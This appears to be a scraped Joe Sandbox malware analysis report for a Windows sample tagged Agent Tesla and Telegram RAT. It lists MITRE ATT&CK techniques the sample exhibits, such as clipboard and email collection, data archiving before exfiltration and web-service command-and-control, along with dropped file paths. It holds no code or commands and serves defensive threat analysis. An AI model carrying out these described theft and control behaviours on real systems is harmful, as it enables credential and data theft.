Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report z1E-catalogSamples.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vZkoWbol.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\z1E-catalogSamples.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0h2twhjl.00o.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nf4p0d0.wfo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgw5mrw1.0fe.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oy10pnqk.srv.ps1

C:\Users\user\AppData\Local\Temp\tmp9244.tmp

C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp

C:\Users\user\AppData\Roaming\vZkoWbol.exe

Windows Analysis Report
z1E-catalogSamples.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre